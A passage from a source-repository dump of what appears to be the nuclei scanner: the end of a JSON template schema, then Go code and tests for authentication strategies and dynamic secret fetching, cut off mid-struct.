{\n          \"items\": {\n            \"$ref\": \"#/$defs/headless.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"headless requests to make\",\n          \"description\": \"Headless requests to make for the template\"\n        },\n        \"ssl\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/ssl.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"ssl requests to make\",\n          \"description\": \"SSL requests to make for the template\"\n        },\n        \"websocket\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/websocket.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"websocket requests to make\",\n          \"description\": \"Websocket requests to make for the template\"\n        },\n        \"whois\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/whois.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"whois requests to make\",\n          \"description\": \"WHOIS requests to make for the template\"\n        },\n        \"code\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/code.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"code snippets to make\",\n          \"description\": \"Code snippets\"\n        },\n        \"javascript\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/javascript.Request\"\n          },\n          \"type\": \"array\",\n          \"title\": \"javascript requests to make\",\n          \"description\": \"Javascript requests to make for the template\"\n        },\n        \"workflows\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/workflows.WorkflowTemplate\"\n          },\n          \"type\": \"array\",\n          \"title\": \"list of workflows to execute\",\n          \"description\": \"List of workflows to execute for template\"\n        },\n        \"self-contained\": {\n          \"type\": \"boolean\",\n          \"title\": \"mark requests as self-contained\",\n          \"description\": \"Mark Requests for the template as self-contained\"\n        },\n        \"stop-at-first-match\": {\n          \"type\": \"boolean\",\n          \"title\": \"stop at first match\",\n          \"description\": \"Stop at first match for the template\"\n        },\n        \"signature\": {\n          \"$ref\": \"#/$defs/http.SignatureTypeHolder\",\n          \"title\": \"signature is the http request signature method\",\n          \"description\": \"Signature is the HTTP Request signature Method\"\n        },\n        \"variables\": {\n          \"$ref\": \"#/$defs/variables.Variable\",\n          \"type\": \"object\",\n          \"title\": \"variables for the http request\",\n          \"description\": \"Variables contains any variables for the current request\"\n        },\n        \"constants\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"type\": \"object\",\n          \"title\": \"constant for the template\",\n          \"description\": \"constants contains any constant for the template\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\",\n      \"required\": [\n        \"id\",\n        \"info\"\n      ]\n    },\n    \"userAgent.UserAgentHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"off\",\n        \"default\",\n        \"custom\"\n      ],\n      \"title\": \"userAgent for the headless\",\n      \"description\": \"userAgent for the headless http request\"\n    },\n    \"variables.Variable\": {\n      \"additionalProperties\": true,\n      \"type\": \"object\",\n      \"title\": \"variables for the request\",\n      \"description\": \"Additional variables for the request\"\n    },\n    \"websocket.Input\": {\n      \"properties\": {\n        \"data\": {\n          \"type\": \"string\",\n          \"title\": \"data to send as input\",\n          \"description\": \"Data is the data to send as the input\"\n        },\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"optional name for data read\",\n          \"description\": \"Optional name of the data read to provide matching on\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"websocket.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID of the network request\"\n        },\n        \"address\": {\n          \"type\": \"string\",\n          \"title\": \"address for the websocket request\",\n          \"description\": \"Address contains address for the request\"\n        },\n        \"inputs\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/websocket.Input\"\n          },\n          \"type\": \"array\",\n          \"title\": \"inputs for the websocket request\",\n          \"description\": \"Inputs contains any input/output for the current request\"\n        },\n        \"headers\": {\n          \"$ref\": \"#/$defs/map[string]string\",\n          \"title\": \"headers contains the request headers\",\n          \"description\": \"Headers contains headers for the request\"\n        },\n        \"attack\": {\n          \"$ref\": \"#/$defs/generators.AttackTypeHolder\",\n          \"title\": \"attack is the payload combination\",\n          \"description\": \"Attack is the type of payload combinations to perform\"\n        },\n        \"payloads\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"title\": \"payloads for the websocket request\",\n          \"description\": \"Payloads contains any payloads for the current request\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"whois.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID of the network request\"\n        },\n        \"query\": {\n          \"type\": \"string\",\n          \"title\": \"query for the WHOIS request\",\n          \"description\": \"Query contains query for the request\"\n        },\n        \"server\": {\n          \"type\": \"string\",\n          \"title\": \"server url to execute the WHOIS request on\",\n          \"description\": \"Server contains the server url to execute the WHOIS request on\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"workflows.Matcher\": {\n      \"properties\": {\n        \"name\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"title\": \"name of items to match\",\n          \"description\": \"Name of items to match\"\n        },\n        \"condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between names\",\n          \"description\": \"Condition between the names\"\n        },\n        \"subtemplates\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/workflows.WorkflowTemplate\"\n          },\n          \"type\": \"array\",\n          \"title\": \"templates to run after match\",\n          \"description\": \"Templates to run after match\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"workflows.WorkflowTemplate\": {\n      \"properties\": {\n        \"template\": {\n          \"type\": \"string\",\n          \"title\": \"template/directory to execute\",\n          \"description\": \"Template or directory to execute as part of workflow\"\n        },\n        \"tags\": {\n          \"$ref\": \"#/$defs/stringslice.StringOrSlice\",\n          \"title\": \"tags to execute\",\n          \"description\": \"Tags to run template based on\"\n        },\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/workflows.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"name based template result matchers\",\n          \"description\": \"Matchers perform name based matching to run subtemplates for a workflow\"\n        },\n        \"subtemplates\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/workflows.WorkflowTemplate\"\n          },\n          \"type\": \"array\",\n          \"title\": \"subtemplate based result matchers\",\n          \"description\": \"Subtemplates are ran if the template field Template matches\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    }\n  }\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/basic_auth.go",
    "content": "package authx\n\nimport (\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\nvar (\n\t_ AuthStrategy = &BasicAuthStrategy{}\n)\n\n// BasicAuthStrategy is a strategy for basic auth\ntype BasicAuthStrategy struct {\n\tData *Secret\n}\n\n// NewBasicAuthStrategy creates a new basic auth strategy\nfunc NewBasicAuthStrategy(data *Secret) *BasicAuthStrategy {\n\treturn &BasicAuthStrategy{Data: data}\n}\n\n// Apply applies the basic auth strategy to the request\nfunc (s *BasicAuthStrategy) Apply(req *http.Request) {\n\treq.SetBasicAuth(s.Data.Username, s.Data.Password)\n}\n\n// ApplyOnRR applies the basic auth strategy to the retryable request\nfunc (s *BasicAuthStrategy) ApplyOnRR(req *retryablehttp.Request) {\n\treq.SetBasicAuth(s.Data.Username, s.Data.Password)\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/bearer_auth.go",
    "content": "package authx\n\nimport (\n\t\"net/http\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\nvar (\n\t_ AuthStrategy = &BearerTokenAuthStrategy{}\n)\n\n// BearerTokenAuthStrategy is a strategy for bearer token auth\ntype BearerTokenAuthStrategy struct {\n\tData *Secret\n}\n\n// NewBearerTokenAuthStrategy creates a new bearer token auth strategy\nfunc NewBearerTokenAuthStrategy(data *Secret) *BearerTokenAuthStrategy {\n\treturn &BearerTokenAuthStrategy{Data: data}\n}\n\n// Apply applies the bearer token auth strategy to the request\nfunc (s *BearerTokenAuthStrategy) Apply(req *http.Request) {\n\treq.Header.Set(\"Authorization\", \"Bearer \"+s.Data.Token)\n}\n\n// ApplyOnRR applies the bearer token auth strategy to the retryable request\nfunc (s *BearerTokenAuthStrategy) ApplyOnRR(req *retryablehttp.Request) {\n\treq.Header.Set(\"Authorization\", \"Bearer \"+s.Data.Token)\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/cookies_auth.go",
    "content": "package authx\n\nimport (\n\t\"net/http\"\n\t\"slices\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\nvar (\n\t_ AuthStrategy = &CookiesAuthStrategy{}\n)\n\n// CookiesAuthStrategy is a strategy for cookies auth\ntype CookiesAuthStrategy struct {\n\tData *Secret\n}\n\n// NewCookiesAuthStrategy creates a new cookies auth strategy\nfunc NewCookiesAuthStrategy(data *Secret) *CookiesAuthStrategy {\n\treturn &CookiesAuthStrategy{Data: data}\n}\n\n// Apply applies the cookies auth strategy to the request\nfunc (s *CookiesAuthStrategy) Apply(req *http.Request) {\n\tfor _, cookie := range s.Data.Cookies {\n\t\tc := &http.Cookie{\n\t\t\tName:  cookie.Key,\n\t\t\tValue: cookie.Value,\n\t\t}\n\t\treq.AddCookie(c)\n\t}\n}\n\n// ApplyOnRR applies the cookies auth strategy to the retryable request\nfunc (s *CookiesAuthStrategy) ApplyOnRR(req *retryablehttp.Request) {\n\texistingCookies := req.Cookies()\n\n\tfor _, newCookie := range s.Data.Cookies {\n\t\tfor i, existing := range existingCookies {\n\t\t\tif existing.Name == newCookie.Key {\n\t\t\t\texistingCookies = slices.Delete(existingCookies, i, i+1)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// Clear and reset remaining cookies\n\treq.Header.Del(\"Cookie\")\n\tfor _, cookie := range existingCookies {\n\t\treq.AddCookie(cookie)\n\t}\n\t// Add new cookies\n\tfor _, cookie := range s.Data.Cookies {\n\t\treq.AddCookie(&http.Cookie{\n\t\t\tName:  cookie.Key,\n\t\t\tValue: cookie.Value,\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/dynamic.go",
    "content": "package authx\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\ntype LazyFetchSecret func(d *Dynamic) error\n\n// fetchState holds the sync.Once and error for thread-safe fetching.\n// This is stored as a pointer in Dynamic so that value copies share the same state.\ntype fetchState struct {\n\tonce sync.Once\n\terr  error\n}\n\nvar (\n\t_ json.Unmarshaler = &Dynamic{}\n)\n\n// Dynamic is a struct for dynamic secret or credential\n// these are high level secrets that take action to generate the actual secret\n// ex: username and password are dynamic secrets, the actual secret is the token obtained\n// after authenticating with the username and password\ntype Dynamic struct {\n\t*Secret       `yaml:\",inline\"`       // this is a static secret that will be generated after the dynamic secret is resolved\n\tSecrets       []*Secret              `yaml:\"secrets\"`\n\tTemplatePath  string                 `json:\"template\" yaml:\"template\"`\n\tVariables     []KV                   `json:\"variables\" yaml:\"variables\"`\n\tInput         string                 `json:\"input\" yaml:\"input\"` // (optional) target for the dynamic secret\n\tExtracted     map[string]interface{} `json:\"-\" yaml:\"-\"`         // extracted values from the dynamic secret\n\tfetchCallback LazyFetchSecret        `json:\"-\" yaml:\"-\"`\n\t// fetchState is shared across value-copies of Dynamic (e.g., inside DynamicAuthStrategy).\n\t// It must be initialized via Validate() before calling Fetch().\n\tfetchState *fetchState `json:\"-\" yaml:\"-\"`\n}\n\nfunc (d *Dynamic) GetDomainAndDomainRegex() ([]string, []string) {\n\tvar domains []string\n\tvar domainRegex []string\n\tfor _, secret := range d.Secrets {\n\t\tdomains = append(domains, secret.Domains...)\n\t\tdomainRegex = append(domainRegex, secret.DomainsRegex...)\n\t}\n\tif d.Secret != nil {\n\t\tdomains = append(domains, d.Domains...)\n\t\tdomainRegex = append(domainRegex, d.DomainsRegex...)\n\t}\n\tuniqueDomains := sliceutil.Dedupe(domains)\n\tuniqueDomainRegex := sliceutil.Dedupe(domainRegex)\n\treturn uniqueDomains, uniqueDomainRegex\n}\n\nfunc (d *Dynamic) UnmarshalJSON(data []byte) error {\n\tif d == nil {\n\t\treturn errkit.New(\"cannot unmarshal into nil Dynamic struct\")\n\t}\n\n\t// Use an alias type (auxiliary) to avoid a recursive call in this method.\n\ttype Alias Dynamic\n\n\t// If d.Secret was nil, json.Unmarshal will allocate a new Secret object\n\t// and populate it from the top level JSON fields.\n\tif err := json.Unmarshal(data, (*Alias)(d)); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// Validate validates the dynamic secret\nfunc (d *Dynamic) Validate() error {\n\t// NOTE: Validate() must not be called concurrently with Fetch()/GetStrategies().\n\t// Re-validating resets fetch state and allows re-fetching.\n\td.fetchState = &fetchState{}\n\tif d.TemplatePath == \"\" {\n\t\treturn errkit.New(\" template-path is required for dynamic secret\")\n\t}\n\tif len(d.Variables) == 0 {\n\t\treturn errkit.New(\"variables are required for dynamic secret\")\n\t}\n\n\tif d.Secret != nil {\n\t\td.skipCookieParse = true // skip cookie parsing in dynamic secrets during validation\n\t\tif err := d.Secret.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfor _, secret := range d.Secrets {\n\t\tsecret.skipCookieParse = true\n\t\tif err := secret.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// SetLazyFetchCallback sets the lazy fetch callback for the dynamic secret\nfunc (d *Dynamic) SetLazyFetchCallback(callback LazyFetchSecret) {\n\td.fetchCallback = func(d *Dynamic) error {\n\t\terr := callback(d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(d.Extracted) == 0 {\n\t\t\treturn fmt.Errorf(\"no extracted values found for dynamic secret\")\n\t\t}\n\n\t\tif d.Secret != nil {\n\t\t\tif err := d.applyValuesToSecret(d.Secret); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tfor _, secret := range d.Secrets {\n\t\t\tif err := d.applyValuesToSecret(secret); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n}\n\nfunc (d *Dynamic) applyValuesToSecret(secret *Secret) error {\n\t// evaluate headers\n\tfor i, header := range secret.Headers {\n\t\tif strings.Contains(header.Value, \"{{\") {\n\t\t\theader.Value = replacer.Replace(header.Value, d.Extracted)\n\t\t}\n\t\tif strings.Contains(header.Key, \"{{\") {\n\t\t\theader.Key = replacer.Replace(header.Key, d.Extracted)\n\t\t}\n\t\tsecret.Headers[i] = header\n\t}\n\n\t// evaluate cookies\n\tfor i, cookie := range secret.Cookies {\n\t\tif strings.Contains(cookie.Value, \"{{\") {\n\t\t\tcookie.Value = replacer.Replace(cookie.Value, d.Extracted)\n\t\t}\n\t\tif strings.Contains(cookie.Key, \"{{\") {\n\t\t\tcookie.Key = replacer.Replace(cookie.Key, d.Extracted)\n\t\t}\n\t\tif strings.Contains(cookie.Raw, \"{{\") {\n\t\t\tcookie.Raw = replacer.Replace(cookie.Raw, d.Extracted)\n\t\t}\n\t\tsecret.Cookies[i] = cookie\n\t}\n\n\t// evaluate query params\n\tfor i, query := range secret.Params {\n\t\tif strings.Contains(query.Value, \"{{\") {\n\t\t\tquery.Value = replacer.Replace(query.Value, d.Extracted)\n\t\t}\n\t\tif strings.Contains(query.Key, \"{{\") {\n\t\t\tquery.Key = replacer.Replace(query.Key, d.Extracted)\n\t\t}\n\t\tsecret.Params[i] = query\n\t}\n\n\t// check username, password and token\n\tif strings.Contains(secret.Username, \"{{\") {\n\t\tsecret.Username = replacer.Replace(secret.Username, d.Extracted)\n\t}\n\tif strings.Contains(secret.Password, \"{{\") {\n\t\tsecret.Password = replacer.Replace(secret.Password, d.Extracted)\n\t}\n\tif strings.Contains(secret.Token, \"{{\") {\n\t\tsecret.Token = replacer.Replace(secret.Token, d.Extracted)\n\t}\n\n\t// now attempt to parse the cookies\n\tsecret.skipCookieParse = false\n\tfor i, cookie := range secret.Cookies {\n\t\tif cookie.Raw != \"\" {\n\t\t\tif err := cookie.Parse(); err != nil {\n\t\t\t\treturn fmt.Errorf(\"[%s] invalid raw cookie in cookiesAuth: %s\", d.TemplatePath, err)\n\t\t\t}\n\t\t\tsecret.Cookies[i] = cookie\n\t\t}\n\t}\n\treturn nil\n}\n\n// GetStrategies returns the auth strategies for the dynamic secret\nfunc (d *Dynamic) GetStrategies() []AuthStrategy {\n\t// Ensure fetch has completed before returning strategies.\n\t// Fetch errors are treated as non-fatal here so a failed dynamic auth fetch\n\t// does not terminate the entire scan process.\n\t_ = d.Fetch(false)\n\n\tif d.fetchState != nil && d.fetchState.err != nil {\n\t\treturn nil\n\t}\n\tvar strategies []AuthStrategy\n\tif d.Secret != nil {\n\t\tstrategies = append(strategies, d.GetStrategy())\n\t}\n\tfor _, secret := range d.Secrets {\n\t\tstrategies = append(strategies, secret.GetStrategy())\n\t}\n\treturn strategies\n}\n\n// Fetch fetches the dynamic secret\n// if isFatal is true, it will stop the execution if the secret could not be fetched\nfunc (d *Dynamic) Fetch(isFatal bool) error {\n\tif d.fetchState == nil {\n\t\tif isFatal {\n\t\t\tgologger.Fatal().Msgf(\"Could not fetch dynamic secret: Validate() must be called before Fetch()\")\n\t\t}\n\t\treturn errkit.New(\"dynamic secret not validated: call Validate() before Fetch()\")\n\t}\n\n\td.fetchState.once.Do(func() {\n\t\tif d.fetchCallback == nil {\n\t\t\td.fetchState.err = errkit.New(\"dynamic secret fetch callback not set: call SetLazyFetchCallback() before Fetch()\")\n\t\t\treturn\n\t\t}\n\t\td.fetchState.err = d.fetchCallback(d)\n\t})\n\n\tif d.fetchState.err != nil && isFatal {\n\t\tgologger.Fatal().Msgf(\"Could not fetch dynamic secret: %s\\n\", d.fetchState.err)\n\t}\n\treturn d.fetchState.err\n}\n\n// Error returns the error if any\nfunc (d *Dynamic) Error() error {\n\tif d.fetchState == nil {\n\t\treturn nil\n\t}\n\treturn d.fetchState.err\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/dynamic_test.go",
    "content": "package authx\n\nimport (\n\t\"errors\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDynamicUnmarshalJSON(t *testing.T) {\n\tt.Run(\"basic-unmarshal\", func(t *testing.T) {\n\t\tdata := []byte(`{\n\t\t\t\"template\": \"test-template.yaml\",\n\t\t\t\"variables\": [\n\t\t\t\t{\n\t\t\t\t\t\"key\": \"username\",\n\t\t\t\t\t\"value\": \"testuser\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"secrets\": [\n\t\t\t\t{\n\t\t\t\t\t\"type\": \"BasicAuth\",\n\t\t\t\t\t\"domains\": [\"example.com\"],\n\t\t\t\t\t\"username\": \"user1\",\n\t\t\t\t\t\"password\": \"pass1\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"type\": \"BasicAuth\",\n\t\t\t\"domains\": [\"test.com\"],\n\t\t\t\"username\": \"testuser\",\n\t\t\t\"password\": \"testpass\"\n\t\t}`)\n\n\t\tvar d Dynamic\n\t\terr := d.UnmarshalJSON(data)\n\t\trequire.NoError(t, err)\n\n\t\t// Secret\n\t\trequire.NotNil(t, d.Secret)\n\t\trequire.Equal(t, \"BasicAuth\", d.Type)\n\t\trequire.Equal(t, []string{\"test.com\"}, d.Domains)\n\t\trequire.Equal(t, \"testuser\", d.Username)\n\t\trequire.Equal(t, \"testpass\", d.Password)\n\n\t\t// Dynamic fields\n\t\trequire.Equal(t, \"test-template.yaml\", d.TemplatePath)\n\t\trequire.Len(t, d.Variables, 1)\n\t\trequire.Equal(t, \"username\", d.Variables[0].Key)\n\t\trequire.Equal(t, \"testuser\", d.Variables[0].Value)\n\t\trequire.Len(t, d.Secrets, 1)\n\t\trequire.Equal(t, \"BasicAuth\", d.Secrets[0].Type)\n\t\trequire.Equal(t, []string{\"example.com\"}, d.Secrets[0].Domains)\n\t\trequire.Equal(t, \"user1\", d.Secrets[0].Username)\n\t\trequire.Equal(t, \"pass1\", d.Secrets[0].Password)\n\t})\n\n\tt.Run(\"complex-unmarshal\", func(t *testing.T) {\n\t\tdata := []byte(`{\n\t\t\t\"template\": \"test-template.yaml\",\n\t\t\t\"variables\": [\n\t\t\t\t{\n\t\t\t\t\t\"key\": \"token\",\n\t\t\t\t\t\"value\": \"Bearer xyz\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"secrets\": [\n\t\t\t\t{\n\t\t\t\t\t\"type\": \"CookiesAuth\",\n\t\t\t\t\t\"domains\": [\"example.com\"],\n\t\t\t\t\t\"cookies\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"session\",\n\t\t\t\t\t\t\t\"value\": \"abc123\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"type\": \"HeadersAuth\",\n\t\t\t\"domains\": [\"api.test.com\"],\n\t\t\t\"headers\": [\n\t\t\t\t{\n\t\t\t\t\t\"key\": \"X-API-Key\",\n\t\t\t\t\t\"value\": \"secret-key\"\n\t\t\t\t}\n\t\t\t]\n\t\t}`)\n\n\t\tvar d Dynamic\n\t\terr := d.UnmarshalJSON(data)\n\t\trequire.NoError(t, err)\n\n\t\t// Secret\n\t\trequire.NotNil(t, d.Secret)\n\t\trequire.Equal(t, \"HeadersAuth\", d.Type)\n\t\trequire.Equal(t, []string{\"api.test.com\"}, d.Domains)\n\t\trequire.Len(t, d.Headers, 1)\n\t\trequire.Equal(t, \"X-API-Key\", d.Secret.Headers[0].Key)\n\t\trequire.Equal(t, \"secret-key\", d.Secret.Headers[0].Value)\n\n\t\t// Dynamic fields\n\t\trequire.Equal(t, \"test-template.yaml\", d.TemplatePath)\n\t\trequire.Len(t, d.Variables, 1)\n\t\trequire.Equal(t, \"token\", d.Variables[0].Key)\n\t\trequire.Equal(t, \"Bearer xyz\", d.Variables[0].Value)\n\t\trequire.Len(t, d.Secrets, 1)\n\t\trequire.Equal(t, \"CookiesAuth\", d.Secrets[0].Type)\n\t\trequire.Equal(t, []string{\"example.com\"}, d.Secrets[0].Domains)\n\t\trequire.Len(t, d.Secrets[0].Cookies, 1)\n\t\trequire.Equal(t, \"session\", d.Secrets[0].Cookies[0].Key)\n\t\trequire.Equal(t, \"abc123\", d.Secrets[0].Cookies[0].Value)\n\t})\n\n\tt.Run(\"invalid-json\", func(t *testing.T) {\n\t\tdata := []byte(`{invalid json}`)\n\t\tvar d Dynamic\n\t\terr := d.UnmarshalJSON(data)\n\t\trequire.Error(t, err)\n\t})\n\n\tt.Run(\"empty-json\", func(t *testing.T) {\n\t\tdata := []byte(`{}`)\n\t\tvar d Dynamic\n\t\terr := d.UnmarshalJSON(data)\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestDynamicFetchConcurrent(t *testing.T) {\n\tt.Run(\"all-waiters-block-until-done\", func(t *testing.T) {\n\t\tconst numGoroutines = 10\n\t\twantErr := errors.New(\"auth fetch failed\")\n\t\tfetchStarted := make(chan struct{})\n\t\tfetchUnblock := make(chan struct{})\n\n\t\td := &Dynamic{\n\t\t\tTemplatePath: \"test-template.yaml\",\n\t\t\tVariables:    []KV{{Key: \"username\", Value: \"test\"}},\n\t\t}\n\t\trequire.NoError(t, d.Validate())\n\t\td.SetLazyFetchCallback(func(_ *Dynamic) error {\n\t\t\tclose(fetchStarted)\n\t\t\t<-fetchUnblock\n\t\t\treturn wantErr\n\t\t})\n\n\t\tresults := make([]error, numGoroutines)\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(numGoroutines)\n\n\t\tfor i := 0; i < numGoroutines; i++ {\n\t\t\tgo func(idx int) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\tresults[idx] = d.Fetch(false)\n\t\t\t}(i)\n\t\t}\n\n\t\tselect {\n\t\tcase <-fetchStarted:\n\t\tcase <-time.After(5 * time.Second):\n\t\t\tt.Fatal(\"fetch callback never started\")\n\t\t}\n\n\t\tdone := make(chan struct{})\n\t\tgo func() {\n\t\t\twg.Wait()\n\t\t\tclose(done)\n\t\t}()\n\t\tselect {\n\t\tcase <-done:\n\t\t\tt.Fatal(\"fetch callers returned before fetch completed\")\n\t\tcase <-time.After(25 * time.Millisecond):\n\t\t}\n\n\t\tclose(fetchUnblock)\n\t\tselect {\n\t\tcase <-done:\n\t\tcase <-time.After(5 * time.Second):\n\t\t\tt.Fatal(\"fetch callers did not complete in time\")\n\t\t}\n\n\t\tfor _, err := range results {\n\t\t\trequire.ErrorIs(t, err, wantErr)\n\t\t}\n\t})\n\n\tt.Run(\"fetch-callback-runs-once\", func(t *testing.T) {\n\t\tconst numGoroutines = 20\n\t\tvar callCount atomic.Int32\n\t\terrs := make(chan error, numGoroutines)\n\t\tbarrier := make(chan struct{})\n\n\t\td := &Dynamic{\n\t\t\tTemplatePath: \"test-template.yaml\",\n\t\t\tVariables:    []KV{{Key: \"username\", Value: \"test\"}},\n\t\t}\n\t\trequire.NoError(t, d.Validate())\n\t\td.SetLazyFetchCallback(func(dynamic *Dynamic) error {\n\t\t\tcallCount.Add(1)\n\t\t\ttime.Sleep(20 * time.Millisecond)\n\t\t\tdynamic.Extracted = map[string]interface{}{\"token\": \"secret-token\"}\n\t\t\treturn nil\n\t\t})\n\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(numGoroutines)\n\t\tfor i := 0; i < numGoroutines; i++ {\n\t\t\tgo func() {\n\t\t\t\tdefer wg.Done()\n\t\t\t\t<-barrier\n\t\t\t\terrs <- d.Fetch(false)\n\t\t\t}()\n\t\t}\n\t\tclose(barrier)\n\t\twg.Wait()\n\t\tclose(errs)\n\n\t\tfor err := range errs {\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\trequire.Equal(t, int32(1), callCount.Load(), \"fetch callback must be called exactly once\")\n\t})\n}\n"
  },
  {
    "path": "pkg/authprovider/authx/file.go",
    "content": "package authx\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\t\"github.com/projectdiscovery/utils/generic\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\t\"gopkg.in/yaml.v3\"\n)\n\ntype AuthType string\n\nconst (\n\tBasicAuth       AuthType = \"BasicAuth\"\n\tBearerTokenAuth AuthType = \"BearerToken\"\n\tHeadersAuth     AuthType = \"Header\"\n\tCookiesAuth     AuthType = \"Cookie\"\n\tQueryAuth       AuthType = \"Query\"\n)\n\n// SupportedAuthTypes returns the supported auth types\nfunc SupportedAuthTypes() []string {\n\treturn []string{\n\t\tstring(BasicAuth),\n\t\tstring(BearerTokenAuth),\n\t\tstring(HeadersAuth),\n\t\tstring(CookiesAuth),\n\t\tstring(QueryAuth),\n\t}\n}\n\n// Authx is a struct for secrets or credentials file\ntype Authx struct {\n\tID      string       `json:\"id\" yaml:\"id\"`\n\tInfo    AuthFileInfo `json:\"info\" yaml:\"info\"`\n\tSecrets []Secret     `json:\"static\" yaml:\"static\"`\n\tDynamic []Dynamic    `json:\"dynamic\" yaml:\"dynamic\"`\n}\n\ntype AuthFileInfo struct {\n\tName        string `json:\"name\" yaml:\"name\"`\n\tAuthor      string `json:\"author\" yaml:\"author\"`\n\tSeverity    string `json:\"severity\" yaml:\"severity\"`\n\tDescription string `json:\"description\" yaml:\"description\"`\n}\n\n// Secret is a struct for secret or credential\ntype Secret struct {\n\tType            string   `json:\"type\" yaml:\"type\"`\n\tDomains         []string `json:\"domains\" yaml:\"domains\"`\n\tDomainsRegex    []string `json:\"domains-regex\" yaml:\"domains-regex\"`\n\tHeaders         []KV     `json:\"headers\" yaml:\"headers\"` // Headers 